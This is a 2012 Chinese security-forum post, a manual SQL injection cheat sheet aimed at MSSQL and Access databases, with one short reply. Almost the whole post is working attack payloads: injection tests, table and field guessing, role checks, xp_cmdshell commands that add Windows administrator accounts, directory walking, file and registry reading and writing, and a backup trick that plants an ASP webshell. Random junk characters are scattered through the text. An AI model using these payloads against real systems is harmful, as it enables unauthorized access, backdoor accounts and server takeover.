找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2092|回复: 1
打印 上一主题 下一主题

手工脚本注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:48:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
手工脚本注入 + h) n" ?2 F1 P
1.判断是否有注入;and 1=1 ;and 1=2
% P% \2 O* t; R+ \  ]! ?0 w* i, l+ G5 e. ~" y) K0 M( Y; G
2.初步判断是否是mssql ;and user>0 ; o6 z6 s3 \+ H+ V; {9 l6 Y8 ]# e
( U6 g, C  Y: K0 [2 Z$ U
3.注入参数是字符'and [查询条件] and ''=' / h" N+ n& ^- G8 s' n5 j8 E

) P- B; |: w+ ~- H4.搜索时没过滤参数的'and [查询条件] and '%25'=' 8 o1 F' ]1 r1 w' C! z7 L4 A; u% y

. b$ s. _1 \' Y6 w5.判断数据库系统
3 w5 U3 E  D" a, F- ]; |" A;and (select count(*) from sysobjects)>0 mssql 8 @5 G* Z& s7 H1 N( K) Y. A5 D8 p& m+ E
;and (select count(*) from msysobjects)>0 access
8 W# u* K$ T  D4 v0 q" C8 n% S* O
2 R/ ~7 g- E$ Q$ y' z/ r6.猜数据库 ;and (select Count(*) from [数据库名])>0
7 W8 o, y7 X+ `, _1 x4 u4 m6 Q% T5 s3 {' `9 h
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 0 _8 ?# I7 C. p! K& K$ u

. t2 s6 u* L6 I/ p- e8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 , O9 Z5 z1 x5 d8 H( x  m7 W

) ]6 x2 ]/ ^+ S9.(1)猜字段的ascii值(access) 4 J( K% m2 B5 O' P
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
2 b0 o+ p5 ~# A7 F$ L) L8 X
% U  W! w4 S; r$ o3 E9 I(2)猜字段的ascii值(mssql) + ]& Q8 S2 j7 n0 H  Q
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
& m+ Q! m7 C. h' Y' w7 p5 v
! z. q7 D, e3 ?; D10.测试权限结构(mssql)
. O6 a- P& D/ y) a' h1 L" E5 Q4 P;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- % m# S7 x: E% l* N) l& s; B# H
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- * s2 G. @" C: o) p5 ?/ F3 W- y
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ' f- o" {0 h' ~# m) F
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ( f8 e5 W( u7 K2 s. d! R4 ?% M
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
# M7 J4 A$ l# \0 g3 e;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ( F) Y# S+ J/ u. f
;and 1=(select IS_MEMBER('db_owner'));-- ; Q4 m4 r& x# L' O& m$ B
: z  a# t; [, @8 q
11.添加mssql和系统的帐户 # ^! ^0 d! B  u
;exec master.dbo.sp_addlogin username;--
$ s# h, I: k% Z  S* h& r4 }( t0 I+ {' c  U0 L' D) ~2 g
;exec master.dbo.sp_password null,username,password;--
1 [5 L  _1 S" K1 k1 L( m! H! @) `$ L7 o; P! a4 O, K- q
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- " F) X! x8 s2 T. `5 M6 g' v
1 I& @* R2 w) U1 a
;exec master.dbo.xp_cmdshell 'net user username password ) o3 N2 z, S% E  Z
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
+ K+ c8 J5 l# ^" b4 D4 }4 C, ^
. f% Z& [+ N, }' b;exec master.dbo.xp_cmdshell 'net user username password /add';-- 9 y5 C  {3 K+ k0 M$ @% j

  O7 G/ r/ Y$ h$ C8 @; ~;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- - |0 J, s/ ?8 ?) M) i. U

' C! |2 y! J7 g1 i12.(1)遍历目录 3 Y2 N  h6 X% U1 Y9 ^# p9 O! d2 O
$ h9 R' I1 D4 |0 F7 b) A7 J
;create table dirs(paths varchar(100), id int) + u' I" h' E$ X. [7 ~. l! r. C
;insert dirs exec master.dbo.xp_dirtree 'c:\' * r/ @3 [. [' a# V$ g; e; \
;and (select top 1 paths from dirs)>0
% S# j- e& z( _4 `;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
/ q1 }0 m6 Y" y& i1 {3 Y( r, l" V! X6 o2 n1 }0 o
(2)遍历目录
+ O4 i- a5 G* }. x* i;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
: i5 j5 _* D7 \9 `/ {& i3 M4 T8 I;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
7 y3 I, W" P# w$ M" [. A;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
' r$ D$ O% b5 D  D8 m;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 3 ~. d: E4 E- O6 k4 f1 M- _9 Z
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 # \  Y2 o% H& s% x5 j8 \

/ w. J- k+ B, _; d; l# _( \13.mssql中的存储过程
# }5 H9 q7 R. ]! j9 C, A4 H0 `; ~/ z4 x4 _8 K  n: k5 W! c
xp_regenumvalues 注册表根键, 子键
8 c# l+ n2 x# S;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
; R' K. d& w5 y# K6 u" X3 k: S2 f( ^+ R, I. {& v9 I
xp_regread 根键,子键,键值名 : g3 @' [: K0 ^& ^6 h8 F
;exec xp_regread
9 r* ?' q2 P8 N- \# S/ ?5 }* g- h'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ' j3 T% C1 i0 i
' I! ?- [+ v" h% a4 A  d( n
xp_regwrite 根键,子键, 值名, 值类型, 值 9 d- ]4 L) d$ a# t+ A: q
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
; p8 I/ j( N/ G, E9 a1 a! T;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 # [0 V5 p+ S! ]! {, F# n) ^

0 a! R- K2 g3 ~9 X, Xxp_regdeletevalue 根键,子键,值名 % S6 Z  r( M6 b/ @, A% L9 G1 Q

4 \) l/ Y: l6 aexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
$ }$ ~% h$ y& D9 y' W, S* o7 U8 E$ }
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
( Z0 x8 y! B) i. Q
2 d' Z$ e* `, D' r. _2 S$ L7 O14.mssql的backup创建webshell 1 c4 S* I+ h) M- F' ?! O+ ?: U
use model
/ x2 x+ S( `) G0 Ucreate table cmd(str image); . v( b4 Q9 W- `
insert into cmd(str) values ('');
/ N; S( U1 V0 ~2 h& M- \$ vbackup database model to disk='c:\l.asp'; 1 A' t4 [6 v6 M# u

: b5 A7 l% i5 t/ {5 b% f. d15.mssql内置函数
5 C" w# Z7 g( Q;and (select @@version)>0 获得Windows的版本号
9 |4 h, E3 y6 [: k9 h' [;and user_name()='dbo' 判断当前系统的连接用户是不是sa
: X8 e. y2 u8 `- o;and (select user_name())>0 爆当前系统的连接用户 . f; Q8 Q+ t2 e
;and (select db_name())>0 得到当前连接的数据库 # _/ p# P9 Z+ Y; d' e
/ ^4 U5 G8 H; H
16.简洁的webshell
6 t* x) ^0 M8 Y3 ^# i5 H$ ^0 r( M/ P% u. c
use model
5 m1 t' U- V  [5 E2 d$ F, D' D" ~
create table cmd(str image); # D: _+ C0 S# T

4 f1 B9 Z( B% hinsert into cmd(str) values ('');
7 ?  T7 d: D& T, |$ o' [
: n$ F1 d; F& A$ k! W7 gbackup database model to disk='g:\wwwtest\l.asp'; ) t1 w3 Q1 f1 F) n7 ^  S( s5 }" t4 c
2 P% G) n1 _# f6 |( i+ U# O" Q
回复

使用道具 举报

沙发
发表于 2012-9-15 16:34:20 | 只看该作者
现在很多防注入啊,有其他注入字符码
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表